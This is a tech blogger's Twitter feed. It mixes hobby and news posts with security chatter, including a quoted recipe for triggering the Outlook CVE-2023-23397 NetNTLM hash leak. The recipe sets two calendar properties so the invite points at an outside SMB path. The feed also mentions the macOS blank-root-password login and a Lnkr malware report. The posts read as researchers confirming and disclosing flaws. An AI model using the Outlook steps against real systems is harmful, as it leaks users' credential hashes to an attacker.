Sam Kear

Technology enthusiast, maker, blogger.

[Sam Kear @SamKear]

@WraithM86 Hearing an echo, super annoying.

[Sam Kear @SamKear]

@atn1ght1 @delivr_to Apparently, the PropID is dynamic in Outlook. I was able to execute the POC in a couple minutes using OutlookSpy.

Check out: https://t.co/FB89kZlnRy

[atn1ght @atn1ght1]

CVE-2023-23397
Finally got a way Outlook sends the crafted netntlm leaking invation. Just created a invation in Outlook, then used OutlookSpy plugin to add these parameters.

0x8065 -> unicode -> \\1.2.3.4\smb
0x8063 -> boolean -> true
NetNTLM leak without user interaction.

[Sam Kear @SamKear]

@atn1ght1 Thanks, this was the missing link for me!

[Sam Kear @SamKear]

@GossiTheDog Just confirmed this also works on Exchange Server 2016 CU23 Aug22SU.

[Sam Kear @SamKear]

@GossiTheDog

[Sam Kear @SamKear]

@miketheitguy @honoki That's what I ended up doing. It works fine in my testing.

[Sam Kear @SamKear]

@KCMO The https://t.co/KYrUwnGbvQ website is infected with Lnkr malware, please let your web team know asap and make sure they are not using an infected browser extension. Several pages contain a link to a malicious js file hosted on clonyjohn[.]com. #LNKR #malware #infosec

[Sam Kear @SamKear]

@Royals The game should be called, it's ridiculous to keep everyone waiting at this point.

[Sam Kear @SamKear]

@elonmusk Congratulations, such an awesome achievement!

[Sam Kear @SamKear]

@IanPavelko It gets better every day!

[Sam Kear @SamKear]

@elonmusk Truly amazing, thanks for changing the future!

[Sam Kear @SamKear]

Getting ready to test out my new #Nest remote temperature sensor.

[Sam Kear @SamKear]

New D-Bot Core-XY 3d printer build is coming along nicely so far. Really liking the v-slot linear rail frame. #RepRap

[Sam Kear @SamKear]

What people think programming is vs. how it actually is https://t.co/AQ2ZvPYCTm via @YouTube

[Sam Kear @SamKear]

Elon Musk’s Boring Company to bid for Chicago airport link project https://t.co/7wNG5oUliK via @techcrunch

[Sam Kear @SamKear]

Just confirmed this works, unbelievable! https://t.co/7BktdLWSLj

[Lemi Orhan Ergin @lemiorhan]

@AppleSupport @Apple You can access it via System Preferences>Users & Groups>Click the lock to make changes. Then use "root" with no password. And try it for several times. Result is unbelievable!

[Sam Kear @SamKear]

FBI pushes private sector to cut ties with Kaspersky https://t.co/QDDn4QyHTB

[Sam Kear @SamKear]

Google To Distrust Symantec Certificates https://t.co/1gQv7Bzrsu via @tomshardware

[Sam Kear @SamKear]

This Is Apple’s Mysterious ‘iPhone Calibration Machine’ https://t.co/qDymRYcns6 via @motherboard

[Sam Kear @SamKear]

So glad they integrated wifi on the zero. I'll be grabbing one as soon as I can find one in stock. @Shan_nav @Raspberry_Pi